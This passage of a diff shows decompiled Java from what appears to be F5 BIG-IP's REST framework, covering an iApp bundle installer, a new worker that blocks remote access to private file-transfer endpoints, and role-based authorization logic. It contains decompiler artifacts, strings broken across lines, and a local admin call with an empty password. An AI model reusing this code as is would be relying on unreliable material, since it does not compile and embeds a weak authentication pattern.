          public void completed(final Integer result, final ByteBuffer
attachment)
          {
            RestThreadManager.getBlockingPool().execute(new Runnable()
                {
                  public void run() {
                     completion.completed(result, attachment);
                     try {
                       fileChannel.close();
                     } catch (IOException e) {

IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
String.format("Failed to close channel for manifest file %s - %s", new Object[] {
this.this$1.val$taskState.manifestFileName, e.getMessage() }),
RestHelper.throwableStackToString(e));
                     }
                   }
                 });
           }









           public void failed(final Throwable exc, final ByteBuffer attachment) {
             RestThreadManager.getBlockingPool().execute(new Runnable()
                 {
                   public void run() {
                     completion.failed(exc, attachment);
                     try {
                       fileChannel.close();
                     } catch (IOException e) {

IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
String.format("Failed to close channel for manifest file %s - %s", new Object[] {
this.this$1.val$taskState.manifestFileName, this.val$exc.getMessage() }),
RestHelper.throwableStackToString(exc));
                     }
                   }
                 });
           }
         };




       fileChannel.read(buffer, 0L, buffer, completionHandler);
     } catch (IOException e) {
       failTask(taskState, String.format("Failed to read manifest file %s - %s",
new Object[] { taskState.manifestFileName, e.getMessage() }));
     }
   }





   private void filterRpmsOnMinBigipVersionRequired(IAppBundleInstallTaskState
taskState) {
     if (taskState.frameworkRpmInfo != null) {
       checkForMinBigIPVersion(taskState, taskState.frameworkRpmInfo);
     }
     for (IAppBundleInstallTaskState.RpmInfo appRpmInfo : taskState.appRpmsInfo) {
       checkForMinBigIPVersion(taskState, appRpmInfo);
     }
     if (taskState.frameworkRpmInfo != null && taskState.frameworkRpmInfo.status
!= IAppBundleInstallTaskState.RpmStatus.ERRORED) {

       taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_FRAMEWORK_RPM;
     } else if (!taskState.appRpmsInfo.isEmpty()) {
       taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS;
     } else {
       taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE;
     }
     sendStatusUpdate(taskState);
   }


   private void checkForMinBigIPVersion(IAppBundleInstallTaskState taskState,
IAppBundleInstallTaskState.RpmInfo rpmInfo) {
     for (IAppBundleInstallTaskState.Manifest.Package pkg :
taskState.manifest.packages) {
       if (rpmInfo.name.contains(pkg.name)) {
         if (VersionUtil.compareVersion(this.bigIpVersion, pkg.minBigIpVersion) <
0) {
           rpmInfo.error = "BigIP version (" + this.bigIpVersion + ") is lower
than minimum BigIP version (" + pkg.minBigIpVersion + ") required for the iApp
Rpm.";


           rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED;
         }
         break;
       }
     }
   }



   private void installFrameworkRpmInBundle(IAppBundleInstallTaskState taskState)
{
     IAppBundleInstallTaskState.IAppBundleInstallStep nextStep =
IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION;
     if (!taskState.appRpmsInfo.isEmpty()) {
       nextStep =
IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS;
     }
     installRpm(taskState.frameworkRpmInfo, taskState, nextStep);
   }



   private void installAppRpmsInBundle(IAppBundleInstallTaskState taskState) {
     IAppBundleInstallTaskState.RpmInfo appRpm;
     do {
       taskState.toBeInstalledAppRpmsIndex++;
       if (taskState.toBeInstalledAppRpmsIndex == taskState.appRpmsInfo.size()) {

         taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION;
```

```
         sendStatusUpdate(taskState);
         return;
       }
       appRpm = taskState.appRpmsInfo.get(taskState.toBeInstalledAppRpmsIndex);
     }
     while (appRpm.status == IAppBundleInstallTaskState.RpmStatus.ERRORED);

     installRpm(appRpm, taskState,
IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS);
   }




   private void installRpm(final IAppBundleInstallTaskState.RpmInfo rpmInfo, final
IAppBundleInstallTaskState taskState, final
IAppBundleInstallTaskState.IAppBundleInstallStep nextStep) {
     rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLING;
     IAppPackageManagementTaskState packageMgmt = new
IAppPackageManagementTaskState();
     packageMgmt.operation =
IAppPackageManagementTaskState.IAppPackageOperation.INSTALL;
     packageMgmt.packageFilePath = "/var/config/rest/downloads/" + rpmInfo.name;

     RestRequestCompletion installCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation) {
           rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLED;
           taskState.step = nextStep;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception exception, RestOperation operation) {
           IAppPackageManagementTaskState installResponse =
(IAppPackageManagementTaskState)operation.getTypedBody(IAppPackageManagementTaskSt
ate.class);

           String errorMessage = (installResponse != null &&
installResponse.errorMessage != null) ? installResponse.errorMessage : "";



           rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED;
           rpmInfo.error = errorMessage;
           taskState.step = nextStep;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }
       };

     RestOperation installOperation =
RestOperation.create().setUri(buildLocalUri(new String[] {
IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH
})).setBody(packageMgmt).setCompletion((RestRequestCompletion)new
TaskCompletion(getServer(), getLogger(), installCompletion));
```

```
     sendPost(installOperation);
   }



   private void updateUsecasePackVersion(final IAppBundleInstallTaskState
taskState, final int retryCount) {
     RestRequestCompletion postCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation) {
           taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception exception, RestOperation operation) {
           if (retryCount < 5) {
             IAppBundleInstallTaskCollectionWorker.this.scheduleTaskOnce(new
Runnable() {
                   public void run() {

IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState,
Integer.valueOf(retryCount + 1));
                   }
                 }5000 * (1 << retryCount));
           } else {
             taskState.errorMessage = String.format("Failed to update usecase pack
version: %s", new Object[] { exception.getMessage() });


             IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
taskState.errorMessage, RestHelper.throwableStackToString(exception));
           }
         }
       };


     JsonObject body = new JsonObject();
     body.addProperty("usecasePackVersion",
taskState.manifest.usecasePackVersion);

     body.addProperty("usecasePackBuild",
getAgcUsecasePackBuild(taskState.filePath));

     RestOperation postOperation =
RestOperation.create().setBody(body).setBasicAuthorization("admin",
"").setCompletion(postCompletion).setUri(buildLocalUri(new String[] {
"/mgmt/tm/access/usecase-pack-info" }));








     sendPost(postOperation);
   }


   private String getAgcUsecasePackBuild(String filePath) {
     int ind = filePath.lastIndexOf('.');
     if (ind != -1) {
       filePath = filePath.substring(0, ind);
     }

     ind = filePath.lastIndexOf('.');
     if (ind != -1) {
       filePath = filePath.substring(0, ind);
     }

     ind = filePath.lastIndexOf('-');
     if (ind == -1) {
       getLogger().info("Access Guided Configuration use case pack name does not
contain build number");
       return "";
     }
     filePath = filePath.substring(ind + 1);
     if (!Character.isDigit(filePath.charAt(0))) {
       getLogger().info("Access Guided Configuration use case pack name does not
contain build number");
       return "";
     }
     return filePath;
   }








   public void failTask(IAppBundleInstallTaskState taskState, String errorMessage,
String errorDetails) {
     getLogger().severe(errorMessage + " error details: " + errorDetails);
     failTask(taskState, errorMessage);
   }
 }
diff --git a/com/f5/rest/workers/FileTransferPrivateWorker.java
b/com/f5/rest/workers/FileTransferPrivateWorker.java
new file mode 100644
index 0000000..50238b7
--- /dev/null
+++ b/com/f5/rest/workers/FileTransferPrivateWorker.java
@@ -0,0 +1,84 @@
+package com.f5.rest.workers;
+
+import com.f5.rest.common.RestLogger;
+import com.f5.rest.common.RestOperation;
+import com.f5.rest.workers.filemanagement.FileManagementHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileTransferPrivateWorker
+  extends FileTransferWorker
+{
+  private static final RestLogger LOGGER = new
RestLogger(FileTransferPrivateWorker.class, "");
+
+
+  public FileTransferPrivateWorker(String postDirectory, String tmpDirectory)
throws Exception {
+    super(postDirectory, tmpDirectory);
+  }
+
+
+
+
+
+
+  public FileTransferPrivateWorker(String getDirectory) throws Exception {
+    super(getDirectory);
+  }
+
+
+  public void onPost(RestOperation post) {
+    if (validateLocalRequest(post)) {
+      failRequest(post);
+      return;
+    }
+    super.onPost(post);
+  }
+
+
+  protected void onDelete(RestOperation delete) {
+    if (validateLocalRequest(delete)) {
+      failRequest(delete);
+      return;
+    }
+    super.onDelete(delete);
+  }
+
+
+  public void onGet(RestOperation get) {
+    if (validateLocalRequest(get)) {
+      failRequest(get);
+      return;
+    }
+    super.onGet(get);
+  }
+
+
+  protected void onQuery(RestOperation request) {
```

```
+    if (validateLocalRequest(request)) {
+      failRequest(request);
+      return;
+    }
+    super.onQuery(request);
+  }
+
+  private boolean validateLocalRequest(RestOperation request) {
+    return request.getReferer().equals(request.getRemoteSender());
+  }
+
+  private void failRequest(RestOperation post) {
+    FileManagementHelper.cleanPostForResponse(post);
+    post.setStatusCode(404);
+    post.fail(new IllegalAccessException("Private endpoints are not supported
from remote"));
+  }
+}
diff --git a/com/f5/rest/workers/RolesWorker.java
b/com/f5/rest/workers/RolesWorker.java
index 244f6d5..2ef8e3b 100644
--- a/com/f5/rest/workers/RolesWorker.java
+++ b/com/f5/rest/workers/RolesWorker.java
@@ -1,1375 +1,1371 @@
 package com.f5.rest.workers;

 import com.f5.rest.common.CompletionHandler;
 import com.f5.rest.common.RestCollectionMergeResult;
 import com.f5.rest.common.RestCollectionWorker;
 import com.f5.rest.common.RestHelper;
 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestReference;
 import com.f5.rest.common.RestRequestCompletion;
 import com.f5.rest.common.RestServer;
 import com.f5.rest.common.RestWorker;
 import com.f5.rest.common.SubscriptionWorker;
 import com.f5.rest.common.UrlHelper;
 import com.f5.rest.common.WellKnownPorts;
 import com.f5.rest.workers.authn.AuthnWorker;
 import com.f5.rest.workers.authz.AuthzHelper;
 import com.f5.rest.workers.authz.EffectivePermissionsWorker;
 import com.f5.rest.workers.gossip.RemoteStateCopier;
 import java.net.URI;
 import java.util.HashSet;
 import java.util.Iterator;
 import java.util.Map;
 import java.util.Set;
 import java.util.TimerTask;
 import java.util.concurrent.ConcurrentHashMap;
 import java.util.concurrent.ConcurrentLinkedQueue;
 import java.util.concurrent.atomic.AtomicBoolean;
 public class RolesWorker
   extends RestCollectionWorker<RolesWorkerState, RolesCollectionState>
   implements EvaluatePermissions.Evaluate
 {
   public static final String WORKER_URI_PATH =
WellKnownPorts.AUTHZ_ROLES_WORKER_URI_PATH;

   private static final String EXTERNAL_ROLES_WORKER_URI_PATH =
UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_ROLES_WOR
KER_URI_PATH));

   private static final String EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH =
UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_RESOURCE_
GROUPS_WORKER_URI_PATH));

   private static final String EXTERNAL_LOGIN_WORKER_PATH =
UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(AuthnWorker.WORKER_URI_PATH));

   private static final String EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH =
UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_EFFECTIVE
_PERMISSIONS_WORKER_URI_PATH));

   public static final String ADMIN_ROLE = "Administrator";

   public static final String ADMIN_ROLE_DESCRIPTION = "Administrators are able to
perform any action.";
   public static final String READ_ONLY_MSG_FMT = "Cannot %s built in roles.";
   private static final String LOCAL_USERS_PATH =
UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH);


   private final Map<String, RoleResourceMatcher> roleNameToResources = new
ConcurrentHashMap<>();
   private final Map<RestReference, Set<String>> resourceGroupToRoleNames = new
ConcurrentHashMap<>();
   private final Map<RestReference, Set<String>> userLinkToRoleNames = new
ConcurrentHashMap<>();



   private TmosRoleCache tmosRoleCache;


   ConcurrentLinkedQueue<RestReference> usersToRemove = new
ConcurrentLinkedQueue<>();
   AtomicBoolean isUserRemovalRunning = new AtomicBoolean();

   private final RoleResourceGroupWorker resourcesGroupWorker;
   private final EffectivePermissionsWorker effectivePermissionsWorker;

   public RolesWorker() {
     super(RolesWorkerState.class, RolesCollectionState.class);
     this.resourcesGroupWorker = new RoleResourceGroupWorker(this);
     this.effectivePermissionsWorker = new EffectivePermissionsWorker(this);
   }




   public void onStart(RestServer server) throws Exception {
     EvaluatePermissions.setRolesWorker(this, server.getPort());

     this.tmosRoleCache = new TmosRoleCache(server.getPort());
     setIdempotentPostEnabled(true);
     setFullStateRequiredOnStart(true);
     setMaxPendingOperations(10000L);

     URI subscriptionsUri =
makeLocalUri(SubscriptionWorker.ALREADY_STARTED_WORKER_URI_PATH);
     URI publicationsUri = makeLocalUri("shared/publisher");
     URI tmosRoleUri = makeLocalUri(TmosRoleWorkerState.WORKER_PATH);
     URI localRolesUri = makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH);

     URI resourceGroupWorkerUri =
getServer().registerWorkerUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH
, (RestWorker)this.resourcesGroupWorker);


     URI effectivePermissionWorkerUri =
getServer().registerWorkerUri(WellKnownPorts.AUTHZ_EFFECTIVE_PERMISSIONS_WORKER_UR
I_PATH, (RestWorker)this.effectivePermissionsWorker);



     completeStart(this.collectionClass, new URI[] { resourceGroupWorkerUri,
effectivePermissionWorkerUri, tmosRoleUri, localRolesUri, subscriptionsUri,
publicationsUri });
   }





   protected void onStartCompleted(Object loadedState, Exception stateLoadEx,
Exception availabilityEx) throws Exception {
     RolesCollectionState collectionState = (RolesCollectionState)loadedState;

     for (RolesWorkerState role : collectionState.items) {
       addRole(role);
     }



     RestRequestCompletion notificationCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation)
         {
           if (operation.getMethod() != RestOperation.RestMethod.DELETE) {
             return;
           }
```

```
          RestResolverGroupEntry entry =
(RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class);
          for (RestReference ref : entry.references) {
            RolesWorker.this.queueUserRemoval(ref);
          }
        }


        public void failed(Exception ex, RestOperation operation) {
          RolesWorker.this.getLogger().severeFmt("%s", new Object[] {
ex.getMessage() });
        }
      };


    RestRequestCompletion subscribeCompletion = new RestRequestCompletion()
      {
        public void failed(Exception ex, RestOperation operation)
        {
          RolesWorker.this.getLogger().warningFmt("Failed to subscribe to worker:
%s", new Object[] { RestHelper.throwableStackToString(ex) });
        }



        public void completed(RestOperation operation) {
          RolesWorker.this.getLogger().fineFmt("Successfully subscribed to %s",
new Object[] { operation.getUri().getPath() });
        }
      };

    AuthzHelper.subscribeToUsers(getServer(), subscribeCompletion,
notificationCompletion);

    AuthzHelper.subscribeToUserGroups(getServer(), subscribeCompletion,
notificationCompletion);





    RestRequestCompletion resourceGroupNotificationCompletion = new
RestRequestCompletion()
      {
        public void completed(RestOperation operation)
        {
          if (operation.getMethod() != RestOperation.RestMethod.DELETE) {
            return;
          }
          RoleResourceGroupState groupState =
(RoleResourceGroupState)operation.getTypedBody(RoleResourceGroupState.class);

          RolesWorker.this.removeResourceGroupsFromRoles(new
RestReference(groupState.selfLink));
        }


        public void failed(Exception ex, RestOperation operation) {
           RolesWorker.this.getLogger().severeFmt("%s", new Object[] {
ex.getMessage() });
         }
       };


     RestOperation subscribeRequest =
RestOperation.create().setUri(buildLocalUri(new String[] {
WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH
})).setCompletion(subscribeCompletion);



     sendPostForSubscription(subscribeRequest, getServer(),
resourceGroupNotificationCompletion);



     super.onStartCompleted(loadedState, stateLoadEx, availabilityEx);

     removeStaleResourceGroups(collectionState);
   }










   private void removeStaleResourceGroups(final RolesCollectionState
rolesCollection) {
     RestRequestCompletion getCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().warningFmt("Failed to clean up stale
resource groups: %s", new Object[] { RestHelper.throwableStackToString(ex) });
         }




         public void completed(RestOperation operation) {
           RoleResourceGroupCollection groupCollection =
(RoleResourceGroupCollection)operation.getTypedBody(RoleResourceGroupCollection.cl
ass);


           Set<URI> groupUris = new HashSet<>();
           for (RoleResourceGroupState group : groupCollection.items) {
             groupUris.add(group.selfLink);
           }

           for (RolesWorkerState role : rolesCollection.items) {
             boolean needsUpdate = false;
             if (role.resourceGroupReferences != null) {
               Iterator<RestReference> iter =
role.resourceGroupReferences.iterator();
               while (iter.hasNext()) {
                 if (!groupUris.contains(((RestReference)iter.next()).link)) {
                   iter.remove();
                   needsUpdate = true;
                 }
               }
             }

             if (needsUpdate) {
               RolesWorker.this.putRole(role);
             }
           }
         }
       };


     RestOperation get =
RestOperation.create().setUri(makeLocalUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WO
RKER_URI_PATH)).setCompletion(getCompletion);


     sendGet(get);
   }

   private void putRole(final RolesWorkerState role) {
     RestRequestCompletion updateCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().warningFmt("Failed to update role %s: %s",
new Object[] { this.val$role.name, RestHelper.throwableStackToString(ex) });
         }




         public void completed(RestOperation operation) {
           RolesWorker.this.getLogger().fineFmt("Successfully update role: %s",
new Object[] { this.val$role.name });
         }
       };


     RestOperation op =
RestOperation.create().setUri(makeLocalUri(role.selfLink)).setBody(role).setComple
tion(updateCompletion);

     sendPut(op);
   }


   public void onGet(final RestOperation request) {
     final String destinationRoleName = getItemIdFromRequest(request);
     RestReference userReference = request.getAuthUserReference();
     if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) {
       super.onGet(request);

       return;
     }
     hasAdminRole(request, new CompletionHandler<Boolean>()
         {
           public void completed(Boolean isAdmin)
           {
             if (isAdmin != null && isAdmin.booleanValue()) {
               RolesWorker.this.onGet(request);

               return;
             }
             if (RolesWorker.this.hasVisibilityToRole(request,
destinationRoleName)) {
               RolesWorker.this.onGet(request);

               return;
             }
             if (destinationRoleName != null) {

               String error = String.format("Authorization failed: userReference
[%s] is not a member of role [%s].", new Object[] {
(this.val$request.getAuthUserReference()).link, this.val$destinationRoleName });


               request.setStatusCode(401);
               request.fail(new SecurityException(error));

               return;
             }
             RolesWorker.this.onGet(request);
           }


           public void failed(Exception ex, Boolean isAdmin) {
             RolesWorker.failWithPermissionsInternalError(request);
           }
         });
   }


   private boolean hasVisibilityToRole(RestOperation request, String
destinationRoleName) {
     for (RestReference identityRef : request.getAuthIdentityReferences()) {
       if (!this.userLinkToRoleNames.containsKey(identityRef)) {
         continue;
       }

       synchronized (this.userLinkToRoleNames) {
         Set<String> roleNames = this.userLinkToRoleNames.get(identityRef);


         if (roleNames.contains(destinationRoleName)) {
           return true;
         }


         for (String roleName : roleNames) {
           RoleResourceMatcher resources = this.roleNameToResources.get(roleName);
           String destinationRoleUriPath = (destinationRoleName == null) ?
EXTERNAL_ROLES_WORKER_URI_PATH : UrlHelper.buildUriPath(new String[] {
EXTERNAL_ROLES_WORKER_URI_PATH, destinationRoleName });


           if (resources.verifyResourceIsPermitted(destinationRoleUriPath,
RestOperation.RestMethod.GET)) {
             return true;
           }
         }
       }
     }

     return false;
   }


   public boolean hasVisibilityToResourceGroup(RestOperation request,
RestReference resourceGroupRef) {
     for (RestReference identityRef : request.getAuthIdentityReferences()) {





       if (!this.userLinkToRoleNames.containsKey(identityRef)) {
         continue;
       }

       synchronized (this.userLinkToRoleNames) {

         Set<String> roleNames = this.userLinkToRoleNames.get(identityRef);


         if (null == roleNames || roleNames.isEmpty()) {
           continue;
         }


         Set<String> rolesWithResourceGroup =
this.resourceGroupToRoleNames.get(resourceGroupRef);
         if (null != rolesWithResourceGroup) {
           for (String roleName : rolesWithResourceGroup) {
             if (roleNames.contains(roleName)) {
               return true;
             }
           }
         }


         for (String roleName : roleNames) {
           RoleResourceMatcher resources = this.roleNameToResources.get(roleName);
           if
(resources.verifyResourceIsPermitted(resourceGroupRef.link.getPath(),
RestOperation.RestMethod.GET)) {
             return true;
           }
         }
       }
     }

     return false;
   }









   public void setGetCollectionBodyAsync(RestOperation getRequest, RestOperation
loadRequest, CompletionHandler<Void> completion) {
     String destinationRoleName = getItemIdFromRequest(getRequest);
     if (destinationRoleName == null ||
destinationRoleName.equals("Administrator")) {
       getBuiltInRoleUserReferences(getRequest, loadRequest, completion);
     } else {
       continueSetGetCollectionBody(getRequest, loadRequest, completion);
     }
   }


   private void getBuiltInRoleUserReferences(final RestOperation getRequest, final
RestOperation loadRequest, final CompletionHandler<Void> finalCompletion) {
     final String roleName = getItemIdFromRequest(getRequest);
     RestRequestCompletion completion = new RestRequestCompletion()
       {
         public void completed(RestOperation response)
         {
           RolesWorker.populateAdminUserReferencesOnGet(roleName, loadRequest,
response);
           RolesWorker.this.continueSetGetCollectionBody(getRequest, loadRequest,
finalCompletion);
         }
```

```
         public void failed(Exception ex, RestOperation response) {
           RolesWorker.this.getLogger().fineFmt("Unable to get list of admins/non-
admins: %s", new Object[] { ex.getMessage() });

           getRequest.fail(ex);
         }
       };


     RestOperation request =
RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH))
.setAdminIdentity().setCompletion(completion);




     sendGet(request);
   }


   static void populateAdminUserReferencesOnGet(String destinationRole,
RestOperation request, RestOperation LocalRolesResponse) {
     RolesCollectionState collection = null;
     RolesWorkerState adminRole = null;

     if (destinationRole == null) {
       collection =
(RolesCollectionState)request.getTypedBody(RolesCollectionState.class);
       for (RolesWorkerState role : collection.items) {
         if ("Administrator".equals(role.name)) {
           adminRole = role;
         }
       }
     } else if (destinationRole.equals("Administrator")) {
       adminRole = (RolesWorkerState)request.getTypedBody(RolesWorkerState.class);
     }

     String localUsersPath =
UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH);
     TmosLocalRolesWorkerState localState =
(TmosLocalRolesWorkerState)LocalRolesResponse.getTypedBody(TmosLocalRolesWorkerSta
te.class);


     if (adminRole != null) {
       if (adminRole.userReferences == null) {
         adminRole.userReferences = new HashSet<>();
       }



       Iterator<RestReference> it = adminRole.userReferences.iterator();
       while (it.hasNext()) {
         RestReference userRef = it.next();
         if (userRef.link.getPath().startsWith(localUsersPath)) {
           it.remove();
         }
       }
       for (String user : localState.administrators) {
         String userPath = UrlHelper.buildUriPath(new String[] { localUsersPath,
user });

         adminRole.userReferences.add(new
RestReference(UrlHelper.buildPublicUri(userPath)));
       }

       if (adminRole.userReferences.isEmpty()) {
         adminRole.userReferences = null;
       }
     }

     if (destinationRole == null) {
       request.setBody(collection);
     } else if (destinationRole.equals("Administrator")) {
       request.setBody(adminRole);
     }
   }



   private void continueSetGetCollectionBody(final RestOperation getRequest, final
RestOperation loadRequest, final CompletionHandler<Void> completion) {
     String destinationRoleName = getItemIdFromRequest(getRequest);
     if (destinationRoleName != null) {
       super.setGetCollectionBodyAsync(getRequest, loadRequest, completion);


       return;
     }

     RestReference userReference = getRequest.getAuthUserReference();
     if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) {
       super.setGetCollectionBodyAsync(getRequest, loadRequest, completion);


       return;
     }

     hasAdminRole(getRequest, new CompletionHandler<Boolean>()
         {
           public void completed(Boolean isAdmin)
           {
             if (isAdmin != null && isAdmin.booleanValue()) {
               RolesWorker.this.setGetCollectionBodyAsync(getRequest, loadRequest,
completion);

               return;
             }
             getRequest.setBody(RolesWorker.this.filterRoles(getRequest,
loadRequest));
             completion.completed(null);
           }


           public void failed(Exception ex, Boolean isAdmin) {
             getRequest.setBody(null);
             getRequest.setStatusCode(500);
             completion.failed(new Exception("Internal server error while
authorizing request"), null);
           }
         });
   }



   private RolesCollectionState filterRoles(RestOperation getRequest,
RestOperation loadRequest) {
     RolesCollectionState roles =
(RolesCollectionState)loadRequest.getTypedBody(RolesCollectionState.class);
     Iterator<RolesWorkerState> iter = roles.items.iterator();
     while (iter.hasNext()) {
       if (!hasVisibilityToRole(getRequest, ((RolesWorkerState)iter.next()).name))
{
         iter.remove();
       }
     }
     return roles;
   }


   protected void onPatch(RestOperation request) {
     getLogger().fineFmt("Attempting to PATCH role; uri: %s, referrer: %s", new
Object[] { request.getUri(), request.getReferer() });

     if (isReadOnly(request)) {
       return;
     }

     RestCollectionMergeResult<RolesWorkerState> mergeResult =
getMergeResultFromRequest(request);


     if (((RolesWorkerState)mergeResult.clientState).userReferences != null &&
((RolesWorkerState)mergeResult.storageState).userReferences != null)
     {

((RolesWorkerState)mergeResult.mergedState).userReferences.addAll(((RolesWorkerSta
te)mergeResult.storageState).userReferences);
     }
     if (((RolesWorkerState)mergeResult.clientState).resourceGroupReferences !=
null && ((RolesWorkerState)mergeResult.storageState).resourceGroupReferences !=
null)
     {

((RolesWorkerState)mergeResult.mergedState).resourceGroupReferences.addAll(((Roles
WorkerState)mergeResult.storageState).resourceGroupReferences);
     }

     if (((RolesWorkerState)mergeResult.clientState).resources != null &&
((RolesWorkerState)mergeResult.storageState).resources != null) {

((RolesWorkerState)mergeResult.mergedState).resources.addAll(((RolesWorkerState)me
rgeResult.storageState).resources);
     }
     if (((RolesWorkerState)mergeResult.clientState).properties != null &&
((RolesWorkerState)mergeResult.storageState).properties != null)
     {
       for (Map.Entry<String, Object> entry :
((RolesWorkerState)mergeResult.storageState).properties.entrySet()) {
         if
(!((RolesWorkerState)mergeResult.mergedState).properties.containsKey(entry.getKey(
))) {

((RolesWorkerState)mergeResult.mergedState).properties.put(entry.getKey(),
entry.getValue());
         }
       }
     }

     request.setBody(mergeResult.mergedState);
     updateBuiltInRoleCacheOnDemand(request);
   }


   public void onPatchCompleted(RestOperation request) {
     RolesWorkerState patchState = (RolesWorkerState)getStateFromRequest(request);
     addRole(patchState);
     request.complete();
   }


   protected void onPut(RestOperation request) {
     getLogger().fineFmt("Attempting to PUT role; uri: %s, referrer: %s", new
Object[] { request.getUri().toString(), request.getReferer() });

     if (isReadOnly(request)) {
       return;
     }
     updateBuiltInRoleCacheOnDemand(request);
   }

   private RolesWorkerState getStateToUpdate(RestOperation request) {
     if (request.getMethod().equals(RestOperation.RestMethod.PATCH)) {
       RestCollectionMergeResult<RolesWorkerState> mergeResult =
getMergeResultFromRequest(request);

       return (RolesWorkerState)mergeResult.storageState;
     }
     return (RolesWorkerState)request.getTypedBody(RolesWorkerState.class);
   }

   private void updateBuiltInRoleCacheOnDemand(RestOperation incomingRequest) {
     RolesWorkerState role =
(RolesWorkerState)incomingRequest.getTypedBody(RolesWorkerState.class);

     if (role.userReferences != null &&
       "Administrator".equals(role.name)) {
       updateLocalRolesWorker(incomingRequest, role);

       return;
     }

     completeRequest(incomingRequest);
   }

   private void updateLocalRolesWorker(final RestOperation incomingRequest,
RolesWorkerState role) {
     final Set<URI> localAdminUris = collectLocalUserUris(role);
     TmosLocalRolesWorkerState update = new TmosLocalRolesWorkerState();

     RestRequestCompletion completion = new RestRequestCompletion()
       {
         public void completed(RestOperation response)
         {
           Set<URI> remainingLocalAdminUris = new HashSet<>(localAdminUris);

           for (Map.Entry<URI, Boolean> entry :
RolesWorker.this.tmosRoleCache.getValues().entrySet()) {
             if (entry.getValue() != Boolean.TRUE) {
               continue;
             }

             if (!RolesWorker.isLocalUserReference(new
RestReference(entry.getKey()))) {
               continue;
             }


             if (!remainingLocalAdminUris.remove(entry.getKey())) {
               RolesWorker.this.tmosRoleCache.putValue(entry.getKey(),
Boolean.FALSE);
             }
           }

           for (URI adminUri : remainingLocalAdminUris) {
             RolesWorker.this.tmosRoleCache.putValue(adminUri, Boolean.TRUE);
           }

           RolesWorker.this.completeRequest(incomingRequest);
         }


         public void failed(Exception ex, RestOperation response) {
           RolesWorker.this.getLogger().fineFmt("Unable to update list of admins:
%s", new Object[] { ex.getMessage() });

           incomingRequest.fail(ex);
         }
       };


     for (URI adminUserRef : localAdminUris) {

update.administrators.add(UrlHelper.getLastPathSegment(adminUserRef.getPath()));
     }

     if (AuthzHelper.DEFAULT_ADMIN_NAME != null) {
       if (!update.administrators.contains(AuthzHelper.DEFAULT_ADMIN_NAME)) {
         update.administrators.add(AuthzHelper.DEFAULT_ADMIN_NAME);


         role.userReferences.add(AuthzHelper.getDefaultAdminReference());
       }
       incomingRequest.setBody(role);
     }

     RestOperation request =
RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH))
.setAdminIdentity().setBody(update).setCompletion(completion);





     sendPost(request);
   }

   private static Set<URI> collectLocalUserUris(RolesWorkerState roleState) {
     Set<URI> userUris = new HashSet<>();
     for (RestReference userReference : roleState.userReferences) {
       if (RestReference.isNullOrEmpty(userReference)) {
         continue;
       }



       if (!isLocalUserReference(userReference)) {
         continue;
       }
       userUris.add(userReference.link);
     }
     return userUris;
   }

   private static boolean isLocalUserReference(RestReference userReference) {
     return userReference.link.getPath().startsWith(LOCAL_USERS_PATH);
   }


   public void onPutCompleted(RestOperation request) {
     RolesWorkerState putState = (RolesWorkerState)getStateFromRequest(request);
     addRole(putState);
     request.complete();
   }






   private void addRole(RolesWorkerState postedItem) {
     synchronized (this.userLinkToRoleNames) {



       this.roleNameToResources.put(postedItem.name,
buildResourcesList(postedItem));



       if (postedItem.userReferences != null) {
         addRolesToUsers(postedItem.name, postedItem.userReferences);
       }
       if (postedItem.resourceGroupReferences != null) {
         addRolesToResourceGroups(postedItem.name,
postedItem.resourceGroupReferences);
       }


       for (Map.Entry<RestReference, Set<String>> entry :
